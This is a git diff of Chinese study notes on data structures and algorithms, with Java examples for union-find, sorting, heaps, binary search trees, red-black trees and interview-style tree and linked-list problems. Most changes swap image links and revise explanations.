@ -1366,7 +1366,7 @@ private boolean verify(int[] sequence, int first, int last) {
下图的二叉树有两条和为 22 的路径10, 5, 7 和 10, 12 下图的二叉树有两条和为 22 的路径10, 5, 7 和 10, 12
<div align="center"> <img src="../pics//f5477abd-c246-4851-89ab-6b1cde2549b1.png"/> </div><br> <div align="center"> <img src="../pics//f5477abd-c246-4851-89ab-6b1cde2549b1.png" width="200"/> </div><br>
## 解题思路 ## 解题思路
@ -1398,21 +1398,21 @@ private void dfs(TreeNode node, int target, ArrayList<Integer> path) {
输入一个复杂链表(每个节点中有节点值,以及两个指针,一个指向下一个节点,另一个特殊指针指向任意一个节点),返回结果为复制后复杂链表的 head。 输入一个复杂链表(每个节点中有节点值,以及两个指针,一个指向下一个节点,另一个特殊指针指向任意一个节点),返回结果为复制后复杂链表的 head。
<div align="center"> <img src="../pics//a01d1516-8168-461a-a24b-620b9cfc40f4.png"/> </div><br> <div align="center"> <img src="../pics//a01d1516-8168-461a-a24b-620b9cfc40f4.png" width="300"/> </div><br>
## 解题思路 ## 解题思路
第一步,在每个节点的后面插入复制的节点。 第一步,在每个节点的后面插入复制的节点。
<div align="center"> <img src="../pics//2e6c72f5-3b8e-4e32-b87b-9491322628fe.png"/> </div><br> <div align="center"> <img src="../pics//2e6c72f5-3b8e-4e32-b87b-9491322628fe.png" width="600"/> </div><br>
第二步,对复制节点的 random 链接进行赋值。 第二步,对复制节点的 random 链接进行赋值。
<div align="center"> <img src="../pics//323ffd6c-8b54-4f3e-b361-555a6c8bf218.png"/> </div><br> <div align="center"> <img src="../pics//323ffd6c-8b54-4f3e-b361-555a6c8bf218.png" width="600"/> </div><br>
第三步,拆分。 第三步,拆分。
<div align="center"> <img src="../pics//8f3b9519-d705-48fe-87ad-2e4052fc81d2.png"/> </div><br> <div align="center"> <img src="../pics//8f3b9519-d705-48fe-87ad-2e4052fc81d2.png" width="600"/> </div><br>
```java ```java
public RandomListNode Clone(RandomListNode pHead) { public RandomListNode Clone(RandomListNode pHead) {
@ -1454,7 +1454,7 @@ public RandomListNode Clone(RandomListNode pHead) {
输入一棵二叉搜索树,将该二叉搜索树转换成一个排序的双向链表。要求不能创建任何新的结点,只能调整树中结点指针的指向。 输入一棵二叉搜索树,将该二叉搜索树转换成一个排序的双向链表。要求不能创建任何新的结点,只能调整树中结点指针的指向。
<div align="center"> <img src="../pics//79b12431-6d9d-4a7d-985b-1b79bc5bf5fb.png"/> </div><br> <div align="center"> <img src="../pics//79b12431-6d9d-4a7d-985b-1b79bc5bf5fb.png" width="400"/> </div><br>
## 解题思路 ## 解题思路
@ -2044,7 +2044,7 @@ private void merge(int[] nums, int first, int mid, int last) {
## 题目描述 ## 题目描述
<div align="center"> <img src="../pics//8f6f9dc9-9ecd-47c8-b50e-2814f0219056.png"/> </div><br> <div align="center"> <img src="../pics//8f6f9dc9-9ecd-47c8-b50e-2814f0219056.png" width="500"/> </div><br>
## 解题思路 ## 解题思路
@ -2140,7 +2140,7 @@ private void inOrder(TreeNode root, int k) {
从根结点到叶结点依次经过的结点(含根、叶结点)形成树的一条路径,最长路径的长度为树的深度。 从根结点到叶结点依次经过的结点(含根、叶结点)形成树的一条路径,最长路径的长度为树的深度。
<div align="center"> <img src="../pics//b29f8971-9cb8-480d-b986-0e60c2ece069.png"/> </div><br> <div align="center"> <img src="../pics//b29f8971-9cb8-480d-b986-0e60c2ece069.png" width="350"/> </div><br>
## 解题思路 ## 解题思路
@ -2157,7 +2157,7 @@ public int TreeDepth(TreeNode root) {
平衡二叉树左右子树高度差不超过 1。 平衡二叉树左右子树高度差不超过 1。
<div align="center"> <img src="../pics//e026c24d-00fa-4e7c-97a8-95a98cdc383a.png"/> </div><br> <div align="center"> <img src="../pics//e026c24d-00fa-4e7c-97a8-95a98cdc383a.png" width="300"/> </div><br>
## 解题思路 ## 解题思路
@ -2557,7 +2557,7 @@ public int StrToInt(String str) {
### 二叉查找树 ### 二叉查找树
<div align="center"> <img src="../pics//293d2af9-de1d-403e-bed0-85d029383528.png"/> </div><br> <div align="center"> <img src="../pics//293d2af9-de1d-403e-bed0-85d029383528.png" width="300"/> </div><br>
```java ```java
public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) { public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
@ -2569,7 +2569,7 @@ public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
### 普通二叉树 ### 普通二叉树
<div align="center"> <img src="../pics//37a72755-4890-4b42-9eab-b0084e0c54d9.png"/> </div><br> <div align="center"> <img src="../pics//37a72755-4890-4b42-9eab-b0084e0c54d9.png" width="300"/> </div><br>
```java ```java
public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) { public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {

View File

@ -22,7 +22,7 @@
* [优先队列](#优先队列) * [优先队列](#优先队列)
* [应用](#应用) * [应用](#应用)
* [五、查找](#五查找) * [五、查找](#五查找)
* [符号表](#符号表) * [二分查找实现有序符号表](#二分查找实现有序符号表)
* [二叉查找树](#二叉查找树) * [二叉查找树](#二叉查找树)
* [2-3 查找树](#2-3-查找树) * [2-3 查找树](#2-3-查找树)
* [红黑二叉查找树](#红黑二叉查找树) * [红黑二叉查找树](#红黑二叉查找树)
@ -312,23 +312,19 @@ public class Queue<Item> {
# 三、union-find # 三、union-find
<font size=4> **概览** </font> <br>
用于解决动态连通性问题,能动态连接两个点,并且判断两个点是否连通。 用于解决动态连通性问题,能动态连接两个点,并且判断两个点是否连通。
<div align="center"> <img src="../pics//dc752c5b-bb59-4616-bf9c-21276690a24d.png" width="400"/> </div><br> <div align="center"> <img src="../pics//9d0a637c-6a8f-4f5a-99b9-fdcfa26793ff.png" width="400"/> </div><br>
<font size=4> **API** </font> <br>
| 方法 | 描述 | | 方法 | 描述 |
| ---: | :--- | | :---: | :---: |
| UF(int N) | 构造一个大小为 N 的并查集 | | UF(int N) | 构造一个大小为 N 的并查集 |
| void union(int p, int q) | 连接 p 和 q 节点 | | void union(int p, int q) | 连接 p 和 q 节点 |
| int find(int p) | 查找 p 所在的连通分量 | | int find(int p) | 查找 p 所在的连通分量 |
| boolean connected(int p, int q) | 判断 p 和 q 节点是否连通 | | boolean connected(int p, int q) | 判断 p 和 q 节点是否连通 |
<font size=4> **基本数据结构** </font> <br>
```java ```java
public class UF { public class UF {
private int[] id; private int[] id;
@ -354,21 +350,21 @@ public class UF {
但是 union 操作代价却很高,需要将其中一个连通分量中的所有节点 id 值都修改为另一个节点的 id 值。 但是 union 操作代价却很高,需要将其中一个连通分量中的所有节点 id 值都修改为另一个节点的 id 值。
<div align="center"> <img src="../pics//75bb1eca-25a4-4f0b-b8e3-1bbe15c176cf.png" width="350"/> </div><br> <div align="center"> <img src="../pics//8f0cc500-5994-4c7a-91a9-62885d658662.png" width="350"/> </div><br>
```java ```java
public int find(int p) { public int find(int p) {
return id[p]; return id[p];
} }
public void union(int p, int q) { public void union(int p, int q) {
int pID = find(p); int pID = find(p);
int qID = find(q); int qID = find(q);
if (pID == qID) return; if (pID == qID) return;
for (int i = 0; i < id.length; i++) { for (int i = 0; i < id.length; i++) {
if (id[i] == pID) id[i] = qID; if (id[i] == pID) id[i] = qID;
}
} }
}
``` ```
## quick-union ## quick-union
@ -377,7 +373,7 @@ public class UF {
但是 find 操作开销很大,因为同一个连通分量的节点 id 值不同id 值只是用来指向另一个节点。因此需要一直向上查找操作,直到找到最上层的节点。 但是 find 操作开销很大,因为同一个连通分量的节点 id 值不同id 值只是用来指向另一个节点。因此需要一直向上查找操作,直到找到最上层的节点。
<div align="center"> <img src="../pics//8d905dcf-19de-48ea-bfc2-762093ab5f54.png" width="350"/> </div><br> <div align="center"> <img src="../pics//5d4a5181-65fb-4bf2-a9c6-899cab534b44.png" width="350"/> </div><br>
```java ```java
public int find(int p) { public int find(int p) {
@ -403,7 +399,7 @@ public class UF {
理论研究证明,加权 quick-union 算法构造的树深度最多不超过 logN。 理论研究证明,加权 quick-union 算法构造的树深度最多不超过 logN。
<div align="center"> <img src="../pics//095720ee-84b3-42ff-af71-70ceb6a2f4a3.png" width="400"/> </div><br> <div align="center"> <img src="../pics//8229e8e7-a183-4d29-94e6-e8d8537c6ce5.png" width="200"/> </div><br>
```java ```java
public class WeightedQuickUnionUF { public class WeightedQuickUnionUF {
@ -563,8 +559,6 @@ public class Shell {
<div align="center"> <img src="../pics//8dfb4cc9-26da-45e7-b820-4576fa1cbb0e.png" width="350"/> </div><br> <div align="center"> <img src="../pics//8dfb4cc9-26da-45e7-b820-4576fa1cbb0e.png" width="350"/> </div><br>
<div align="center"> <img src="../pics//0c55e11c-d3ce-4cd8-b139-028aea6f40e3.png" width="450"/> </div><br>
### 1. 归并方法 ### 1. 归并方法
归并方法将数组中两个已经排序的部分归并成一个。 归并方法将数组中两个已经排序的部分归并成一个。
@ -592,6 +586,9 @@ public class MergeSort {
### 2. 自顶向下归并排序 ### 2. 自顶向下归并排序
<div align="center"> <img src="../pics//0c55e11c-d3ce-4cd8-b139-028aea6f40e3.png" width="450"/> </div><br>
```java ```java
public static void sort(Comparable[] a) { public static void sort(Comparable[] a) {
aux = new Comparable[a.length]; aux = new Comparable[a.length];
@ -653,7 +650,7 @@ public class QuickSort {
### 2. 切分 ### 2. 切分
取 a[lo] 作为切分元素,然后从数组的左端向右扫描直到找到第一个大于等于它的元素,再从数组的右端向左扫描找到第一个小于等于它的元素,交换这两个元素,并不断进行这个过程,就可以保证左指针 i 的左侧元素都不大于切分元素,右指针 j 的右侧元素都不小于切分元素。当两个指针相遇时,将切分元素 a[lo] 和左子数组最右侧的元素 a[j] 交换然后返回 j 即可 取 a[lo] 作为切分元素,然后从数组的左端向右扫描直到找到第一个大于等于它的元素,再从数组的右端向左扫描找到第一个小于等于它的元素,交换这两个元素,并不断进行这个过程,就可以保证左指针 i 的左侧元素都不大于切分元素,右指针 j 的右侧元素都不小于切分元素。当两个指针相遇时,将切分元素 a[lo] 和 a[j] 交换位置
<div align="center"> <img src="../pics//8af348d0-4d72-4f76-b56c-0a440ed4673d.png" width="400"/> </div><br> <div align="center"> <img src="../pics//8af348d0-4d72-4f76-b56c-0a440ed4673d.png" width="400"/> </div><br>
@ -720,11 +717,12 @@ public class Quick3Way {
### 1. 堆 ### 1. 堆
定义:一颗二叉树的每个节点都大于等于它的两个子节点。 堆的某个节点的值总是大于等于子节点的值,并且堆是一颗完全二叉树。
堆可以用数组来表示,因为堆是一种完全二叉树,而完全二叉树很容易就存储在数组中。位置 k 的节点的父节点位置为 k/2而它的两个子节点的位置分别为 2k 和 2k+1。这里我们不使用数组索引为 0 的位置,是为了更清晰地理解节点的关系。 堆可以用数组来表示,因为堆是一种完全二叉树,而完全二叉树很容易就存储在数组中。位置 k 的节点的父节点位置为 k/2而它的两个子节点的位置分别为 2k 和 2k+1。这里我们不使用数组索引为 0 的位置,是为了更清晰地理解节点的关系。
<div align="center"> <img src="../pics//5144a411-0e46-4a84-a179-c9ad3240418f.png" width="400"/> </div><br> <div align="center"> <img src="../pics//f3080f83-6239-459b-8e9c-03b6641f7815.png" width="200"/> </div><br>
```java ```java
public class MaxPQ<Key extends Comparable<Key> { public class MaxPQ<Key extends Comparable<Key> {
@ -759,7 +757,7 @@ public class MaxPQ<Key extends Comparable<Key> {
在堆中,当一个节点比父节点大,那么需要交换这个两个节点。交换后还可能比它新的父节点大,因此需要不断地进行比较和交换操作。把这种操作称为上浮。 在堆中,当一个节点比父节点大,那么需要交换这个两个节点。交换后还可能比它新的父节点大,因此需要不断地进行比较和交换操作。把这种操作称为上浮。
<div align="center"> <img src="../pics//d5659bcf-5ddf-4692-bfe5-f6b480479120.png" width="400"/> </div><br> <div align="center"> <img src="../pics//33ac2b23-cb85-4e99-bc41-b7b7199fad1c.png" width="400"/> </div><br>
```java ```java
private void swim(int k) { private void swim(int k) {
@ -772,7 +770,7 @@ private void swim(int k) {
类似地,当一个节点比子节点来得小,也需要不断的向下比较和交换操作,把这种操作称为下沉。一个节点有两个子节点,应当与两个子节点中最大那么节点进行交换。 类似地,当一个节点比子节点来得小,也需要不断的向下比较和交换操作,把这种操作称为下沉。一个节点有两个子节点,应当与两个子节点中最大那么节点进行交换。
<div align="center"> <img src="../pics//df648536-a107-48cd-a615-77b7a9b4025f.png" width="350"/> </div><br> <div align="center"> <img src="../pics//72f0ff69-138d-4e54-b7ac-ebe025d978dc.png" width="400"/> </div><br>
```java ```java
private void sink(int k) { private void sink(int k) {
@ -815,11 +813,19 @@ public Key delMax() {
由于堆可以很容易得到最大的元素并删除它,不断地进行这种操作可以得到一个递减序列。如果把最大元素和当前堆中数组的最后一个元素交换位置,并且不删除它,那么就可以得到一个从尾到头的递减序列,从正向来看就是一个递增序列。因此很容易使用堆来进行排序,并且堆排序是原地排序,不占用额外空间。 由于堆可以很容易得到最大的元素并删除它,不断地进行这种操作可以得到一个递减序列。如果把最大元素和当前堆中数组的最后一个元素交换位置,并且不删除它,那么就可以得到一个从尾到头的递减序列,从正向来看就是一个递增序列。因此很容易使用堆来进行排序,并且堆排序是原地排序,不占用额外空间。
堆排序要分两个阶段,第一个阶段是把无序数组建立一个堆;第二个阶段是交换最大元素和当前堆的数组最后一个元素,并且进行下沉操作维持堆的有序状态。 **构建堆**
无序数组建立堆最直接的方法是从左到右遍历数组,然后进行上浮操作。一个更高效的方法是从右至左进行下沉操作,如果一个节点的两个节点都已经是堆有序,那么进行下沉操作可以使得这个节点为根节点的堆有序。叶子节点不需要进行下沉操作,因此可以忽略叶子节点的元素,因此只需要遍历一半的元素即可。 无序数组建立堆最直接的方法是从左到右遍历数组,然后进行上浮操作。一个更高效的方法是从右至左进行下沉操作,如果一个节点的两个节点都已经是堆有序,那么进行下沉操作可以使得这个节点为根节点的堆有序。叶子节点不需要进行下沉操作,因此可以忽略叶子节点的元素,因此只需要遍历一半的元素即可。
<div align="center"> <img src="../pics//750501be-6b8a-4cb5-a807-371a218ee612.png" width="800"/> </div><br> <div align="center"> <img src="../pics//b84ba6fb-312b-4e69-8c77-fb6eb6fb38d4.png" width="300"/> </div><br>
**交换堆顶元素与最后一个元素**
交换之后需要进行下沉操作维持堆的有序状态。
<div align="center"> <img src="../pics//51fb761d-8ce0-4472-92ff-2f227ac7888a.png" width="300"/> </div><br>
<div align="center"> <img src="../pics//1f039a45-6b91-4f31-a2c2-6c63eb8bdb56.png" width="300"/> </div><br>
```java ```java
public static void sort(Comparable[] a){ public static void sort(Comparable[] a){
@ -848,7 +854,15 @@ public static void sort(Comparable[] a){
### 1. 排序算法的比较 ### 1. 排序算法的比较
<div align="center"> <img src="../pics//e4ca3383-910a-4936-8ac2-9e8fd31b736b.png" width="800"/> </div><br> | 算法 | 稳定 | 原地排序 | 时间复杂度 | 空间复杂度 | 备注 |
| :---: | :---: | :---: | :---: | :---: | :---: |
| 选择排序 | no | yes | N<sup>2</sup> | 1 | |
| 插入排序 | yes | yes | N \~ N<sup>2</sup> | 1 | 时间复杂度和初始顺序有关 |
| 希尔排序 | no | yes | N 的若干倍乘于递增序列的长度 | 1 | |
| 快速排序 | no | yes | NlogN | logN | |
| 三向切分快速排序 | no | yes | N \~ NlogN | logN | 适用于有大量重复主键|
| 归并排序 | yes | no | NlogN | N | |
| 堆排序 | no | yes | NlogN | 1 | | |
快速排序是最快的通用排序算法,它的内循环的指令很少,而且它还能利用缓存,因为它总是顺序地访问数据。它的运行时间近似为 \~cNlogN这里的 c 比其他线性对数级别的排序算法都要小。使用三向切分之后,实际应用中可能出现的某些分布的输入能够达到线性级别,而其它排序算法仍然需要线性对数时间。 快速排序是最快的通用排序算法,它的内循环的指令很少,而且它还能利用缓存,因为它总是顺序地访问数据。它的运行时间近似为 \~cNlogN这里的 c 比其他线性对数级别的排序算法都要小。使用三向切分之后,实际应用中可能出现的某些分布的输入能够达到线性级别,而其它排序算法仍然需要线性对数时间。
@ -879,23 +893,13 @@ public static Comparable select(Comparable[] a, int k) {
# 五、查找 # 五、查找
符号表是一种存储键值对的数据结构,支持两种操作:插入一个新的键值对;根据给定键得到值。 符号表是一种存储键值对的数据结构,主要支持两种操作:插入一个新的键值对、根据给定键得到值。
## 符号表 符号表分为有序和无序两种,有序符号表主要指支持 min()、max() 等根据键的大小关系来实现的操作。
### 1. 无序符号表
<div align="center"> <img src="../pics//8a116e69-3d57-4987-a215-0197dd044a14.png" width="600"/> </div><br>
### 2. 有序符号表
<div align="center"> <img src="../pics//299a8cd3-7cfa-45d0-8821-4aa577de4692.png" width="600"/> </div><br>
有序指的是支持 min() max() 等根据键的大小关系来实现的操作。
有序符号表的键需要实现 Comparable 接口。 有序符号表的键需要实现 Comparable 接口。
### 3. 二分查找实现有序符号表 ## 二分查找实现有序符号表
使用一对平行数组,一个存储键一个存储值。其中键的数组为 Comparable 数组,值的数组为 Object 数组。 使用一对平行数组,一个存储键一个存储值。其中键的数组为 Comparable 数组,值的数组为 Object 数组。
@ -962,17 +966,17 @@ public class BinarySearchST<Key extends Comparable<Key>, Value> {
## 二叉查找树 ## 二叉查找树
**二叉树** 定义为一个空链接,或者是一个有左右两个链接的节点,每个链接都指向一颗子二叉树。 **二叉树** 一个空链接,或者是一个有左右两个链接的节点,每个链接都指向一颗子二叉树。
<div align="center"> <img src="../pics//0c723f4c-e13d-42f7-aeb2-1f160c7cc4b6.png" width="300"/> </div><br> <div align="center"> <img src="../pics//f9f9f993-8ece-4da7-b848-af9b438fad76.png" width="200"/> </div><br>
**二叉查找树** BST是一颗二叉树并且每个节点的值都大于其左子树中的所有节点的值而小于右子树的所有节点的值。 **二叉查找树** BST是一颗二叉树并且每个节点的值都大于其左子树中的所有节点的值而小于右子树的所有节点的值。
<div align="center"> <img src="../pics//1c012d74-6b9d-4f25-a016-7ad4f1f1521898780376.png" width="400"/> </div><br> <div align="center"> <img src="../pics//8ae4550b-f0cb-4e4d-9e2b-c550538bf230.png" width="200"/> </div><br>
BST 有一个重要性质,就是它的中序遍历结果递增排序。 BST 有一个重要性质,就是它的中序遍历结果递增排序。
<div align="center"> <img src="../pics//5c0bb285-b917-446b-84a2-9810ee41521898714517.png" width="300"/> </div><br> <div align="center"> <img src="../pics//05e41947-3cbc-4f02-a428-96765ec916ff.png" width="200"/> </div><br>
基本数据结构: 基本数据结构:
@ -1005,6 +1009,8 @@ public class BST<Key extends Comparable<Key>, Value> {
} }
``` ```
(为了方便绘图,二叉树的空链接不画出来。)
### 1. get() ### 1. get()
- 如果树是空的,则查找未命中; - 如果树是空的,则查找未命中;
@ -1030,7 +1036,7 @@ private Value get(Node x, Key key) {
当插入的键不存在于树中,需要创建一个新节点,并且更新上层节点的链接使得该节点正确链接到树中。 当插入的键不存在于树中,需要创建一个新节点,并且更新上层节点的链接使得该节点正确链接到树中。
<div align="center"> <img src="../pics//78570a06-0781-4f9d-9093-70a87111521898809910.jpg" width="400"/> </div><br> <div align="center"> <img src="../pics//107a6a2b-f15b-4cad-bced-b7fb95258c9c.png" width="200"/> </div><br>
```java ```java
public void put(Key key, Value val) { public void put(Key key, Value val) {
@ -1049,9 +1055,13 @@ private Node put(Node x, Key key, Value val) {
### 3. 分析 ### 3. 分析
二叉查找树的算法运行时间取决于树的形状,而树的形状又取决于键被插入的先后顺序。最好的情况下树是完全平衡的,每条空链接和根节点的距离都为 logN。在最坏的情况下,树的高度为 N。 二叉查找树的算法运行时间取决于树的形状,而树的形状又取决于键被插入的先后顺序。最好的情况下树是完全平衡的,每条空链接和根节点的距离都为 logN。
<div align="center"> <img src="../pics//9653b0c6-4232-4299-9f5c-79a616abafb8.png" width="300"/> </div><br> <div align="center"> <img src="../pics//4d741402-344d-4b7c-be01-e57184bcad0e.png" width="200"/> </div><br>
在最坏的情况下,树的高度为 N。
<div align="center"> <img src="../pics//be7dca03-12ec-456b-8b54-b1b3161f5531.png" width="200"/> </div><br>
### 4. floor() ### 4. floor()
@ -1060,7 +1070,6 @@ floor(key):小于等于键的最大键
- 如果键小于根节点的键,那么 floor(key) 一定在左子树中; - 如果键小于根节点的键,那么 floor(key) 一定在左子树中;
- 如果键大于根节点的键,需要先判断右子树中是否存在 floor(key),如果存在就找到,否则根节点就是 floor(key)。 - 如果键大于根节点的键,需要先判断右子树中是否存在 floor(key),如果存在就找到,否则根节点就是 floor(key)。
<div align="center"> <img src="../pics//12b458dd-526d-46e2-acca-cf3b501d580e.png" width="400"/> </div><br>
```java ```java
public Key floor(Key key) { public Key floor(Key key) {
@ -1116,7 +1125,7 @@ private Node min(Node x) {
令指向最小节点的链接指向最小节点的右子树。 令指向最小节点的链接指向最小节点的右子树。
<div align="center"> <img src="../pics//392fb173-9713-433c-b37b-ea63ba76eae4.png" width="400"/> </div><br> <div align="center"> <img src="../pics//26020e1a-06ab-4114-a6b3-e428de690c7e.png" width="500"/> </div><br>
```java ```java
public void deleteMin() { public void deleteMin() {
@ -1135,7 +1144,7 @@ public Node deleteMin(Node x) {
- 如果待删除的节点只有一个子树,那么只需要让指向待删除节点的链接指向唯一的子树即可; - 如果待删除的节点只有一个子树,那么只需要让指向待删除节点的链接指向唯一的子树即可;
- 否则,让右子树的最小节点替换该节点。 - 否则,让右子树的最小节点替换该节点。
<div align="center"> <img src="../pics//691e8da5-fa65-4ee0-a4a9-bd9adba1521899256460.jpg" width="400"/> </div><br> <div align="center"> <img src="../pics//3290673d-edab-4678-8b2e-f18e0f6b7fc1.png" width="400"/> </div><br>
```java ```java
public void delete(Key key) { public void delete(Key key) {
@ -1185,7 +1194,7 @@ private void keys(Node x, Queue<Key> queue, Key lo, Key hi) {
## 2-3 查找树 ## 2-3 查找树
<div align="center"> <img src="../pics//fd20f4f9-e5d8-43cf-bf4f-2057c18d01fb.png" width="300"/> </div><br> <div align="center"> <img src="../pics//ff396233-1bb1-4e74-8bc2-d7c90146f5dd.png" width="250"/> </div><br>
2-3 查找树引入了 2- 节点和 3- 节点,目的是为了让树更平衡。一颗完美平衡的 2-3 查找树的所有空链接到根节点的距离应该是相同的。 2-3 查找树引入了 2- 节点和 3- 节点,目的是为了让树更平衡。一颗完美平衡的 2-3 查找树的所有空链接到根节点的距离应该是相同的。
@ -1197,11 +1206,11 @@ private void keys(Node x, Queue<Key> queue, Key lo, Key hi) {
插入到 2- 节点上,那么直接将新节点和原来的节点组成 3- 节点即可。 插入到 2- 节点上,那么直接将新节点和原来的节点组成 3- 节点即可。
<div align="center"> <img src="../pics//64b70b59-5bae-4dd2-addd-7f687ea5b64b.png" width="400"/> </div><br> <div align="center"> <img src="../pics//7f38a583-2f2e-4738-97af-510e6fb403a7.png" width="400"/> </div><br>
如果是插入到 3- 节点上,就会产生一个临时 4- 节点时,需要将 4- 节点分裂成 3 个 2- 节点,并将中间的 2- 节点移到上层节点中。如果上移操作继续产生临时 4- 节点则一直进行分裂上移,直到不存在临时 4- 节点。 如果是插入到 3- 节点上,就会产生一个临时 4- 节点时,需要将 4- 节点分裂成 3 个 2- 节点,并将中间的 2- 节点移到上层节点中。如果上移操作继续产生临时 4- 节点则一直进行分裂上移,直到不存在临时 4- 节点。
<div align="center"> <img src="../pics//a259182b-91b7-4b63-98c9-9d9cc6e199d4.png" width="400"/> </div><br> <div align="center"> <img src="../pics//ef280699-da36-4b38-9735-9b048a3c7fe0.png" width="500"/> </div><br>
### 2. 性质 ### 2. 性质
@ -1215,7 +1224,7 @@ private void keys(Node x, Queue<Key> queue, Key lo, Key hi) {
2-3 查找树需要用到 2- 节点和 3- 节点,红黑树使用红链接来实现 3- 节点。指向一个节点的链接颜色如果为红色,那么这个节点和上层节点表示的是一个 3- 节点,而黑色则是普通链接。 2-3 查找树需要用到 2- 节点和 3- 节点,红黑树使用红链接来实现 3- 节点。指向一个节点的链接颜色如果为红色,那么这个节点和上层节点表示的是一个 3- 节点,而黑色则是普通链接。
<div align="center"> <img src="../pics//3c99f603-c471-49df-86df-0a0c750f1948.png" width="400"/> </div><br> <div align="center"> <img src="../pics//4f48e806-f90b-4c09-a55f-ac0cd641c047.png" width="250"/> </div><br>
红黑树具有以下性质: 红黑树具有以下性质:
@ -1258,9 +1267,7 @@ public class RedBlackBST<Key extends Comparable<Key>, Value> {
因为合法的红链接都为左链接,如果出现右链接为红链接,那么就需要进行左旋转操作。 因为合法的红链接都为左链接,如果出现右链接为红链接,那么就需要进行左旋转操作。
<div align="center"> <img src="../pics//40fe0669-6ac2-46f1-8666-a03785ad7412.png" width="300"/> </div><br> <div align="center"> <img src="../pics//9110c1a0-8a54-4145-a814-2477d0128114.png" width="450"/> </div><br>
<div align="center"> <img src="../pics//ed23a7cd-d55f-453d-b5bc-076d7b1c002e.jpg" width="300"/> </div><br>
```java ```java
public Node rotateLeft(Node h) { public Node rotateLeft(Node h) {
@ -1279,9 +1286,7 @@ public Node rotateLeft(Node h) {
进行右旋转是为了转换两个连续的左红链接,这会在之后的插入过程中探讨。 进行右旋转是为了转换两个连续的左红链接,这会在之后的插入过程中探讨。
<div align="center"> <img src="../pics//d3b06a52-cce1-4e05-aeff-1680a282b178.png" width="300"/> </div><br> <div align="center"> <img src="../pics//e2f0d889-2330-424c-8193-198edebecff7.png" width="450"/> </div><br>
<div align="center"> <img src="../pics//7ca30d08-f7fa-4e39-b386-93c70631a900.png" width="300"/> </div><br>
```java ```java
public Node rotateRight(Node h) { public Node rotateRight(Node h) {
@ -1299,9 +1304,7 @@ public Node rotateRight(Node h) {
一个 4- 节点在红黑树中表现为一个节点的左右子节点都是红色的。分裂 4- 节点除了需要将子节点的颜色由红变黑之外,同时需要将父节点的颜色由黑变红,从 2-3 树的角度看就是将中间节点移到上层节点。 一个 4- 节点在红黑树中表现为一个节点的左右子节点都是红色的。分裂 4- 节点除了需要将子节点的颜色由红变黑之外,同时需要将父节点的颜色由黑变红,从 2-3 树的角度看就是将中间节点移到上层节点。
<div align="center"> <img src="../pics//6e874d3e-9999-4d14-b6c9-fc7776c7ce30.png" width="400"/> </div><br> <div align="center"> <img src="../pics//af4639f9-af54-4400-aaf5-4e261d96ace7.png" width="300"/> </div><br>
<div align="center"> <img src="../pics//04662fa2-d19b-4de3-a829-50acb7af75d7.png" width="400"/> </div><br>
```java ```java
void flipColors(Node h){ void flipColors(Node h){
@ -1319,7 +1322,7 @@ void flipColors(Node h){
- 如果左子节点是红色的,而且左子节点的左子节点也是红色的,进行右旋转; - 如果左子节点是红色的,而且左子节点的左子节点也是红色的,进行右旋转;
- 如果左右子节点均为红色的,进行颜色转换。 - 如果左右子节点均为红色的,进行颜色转换。
<div align="center"> <img src="../pics//0f86eb11-3724-48de-9f27-499dfc7e96f1.png" width="500"/> </div><br> <div align="center"> <img src="../pics//08427d38-8df1-49a1-8990-e0ce5ee36ca2.png" width="400"/> </div><br>
```java ```java
public void put(Key key, Value val) { public void put(Key key, Value val) {
@ -1347,23 +1350,7 @@ private Node put(Node x, Key key, Value val) {
根节点一定为黑色因为根节点没有上层节点也就没有上层节点的左链接指向根节点。flipColors() 有可能会使得根节点的颜色变为红色,每当根节点由红色变成黑色时树的黑链接高度加 1. 根节点一定为黑色因为根节点没有上层节点也就没有上层节点的左链接指向根节点。flipColors() 有可能会使得根节点的颜色变为红色,每当根节点由红色变成黑色时树的黑链接高度加 1.
### 5. 删除最小键 ### 5. 分析
如果最小键在一个 2- 节点中,那么删除该键会留下一个空链接,就破坏了平衡性,因此要确保最小键不在 2- 节点中。
将 2- 节点转换成 3- 节点或者 4- 节点有两种方法,一种是向上层节点拿一个 key一种是向兄弟节点拿一个 key。如果上层节点是 2- 节点,那么就没办法从上层节点拿 key 了,因此要保证删除路径上的所有节点都不是 2- 节点。在向下删除的过程中,保证以下情况之一发生:
1. 如果当前节点的左子节点不是 2- 节点,完成;
2. 如果当前节点的左子节点是 2- 节点而它的兄弟节点不是 2- 节点,向兄弟节点拿一个 key 过来;
3. 如果当前节点的左子节点和它的兄弟节点都是 2- 节点,将左子节点、父节点中的最小键和最近的兄弟节点合并为一个 4- 节点。
<div align="center"> <img src="../pics//88ae5997-50ab-4204-891f-88e212ba892e.png" width="400"/> </div><br>
最后得到一个含有最小键的 3- 节点或者 4- 节点,直接从中删除。然后再从头分解所有临时的 4- 节点。
<div align="center"> <img src="../pics//5e8493be-72cc-4a76-a68f-4852eacb2811.png" width="400"/> </div><br>
### 6. 分析
一颗大小为 N 的红黑树的高度不会超过 2logN。最坏的情况下是它所对应的 2-3 树,构成最左边的路径节点全部都是 3- 节点而其余都是 2- 节点。 一颗大小为 N 的红黑树的高度不会超过 2logN。最坏的情况下是它所对应的 2-3 树,构成最左边的路径节点全部都是 3- 节点而其余都是 2- 节点。
@ -1437,7 +1424,7 @@ public class Transaction{
拉链法使用链表来存储 hash 值相同的键,从而解决冲突。此时查找需要分两步,首先查找 Key 所在的链表,然后在链表中顺序查找。 拉链法使用链表来存储 hash 值相同的键,从而解决冲突。此时查找需要分两步,首先查找 Key 所在的链表,然后在链表中顺序查找。
<div align="center"> <img src="../pics//f2af8957-d498-462f-9d11-f1c17876ba8e.png" width="800"/> </div><br> <div align="center"> <img src="../pics//b4252c85-6fb0-4995-9a68-a1a5925fbdb1.png" width="350"/> </div><br>
对于 N 个键M 条链表 (N>M),如果哈希函数能够满足均匀性的条件,每条链表的大小趋向于 N/M因此未命中的查找和插入操作所需要的比较次数为 \~N/M。 对于 N 个键M 条链表 (N>M),如果哈希函数能够满足均匀性的条件,每条链表的大小趋向于 N/M因此未命中的查找和插入操作所需要的比较次数为 \~N/M。
@ -1445,7 +1432,7 @@ public class Transaction{
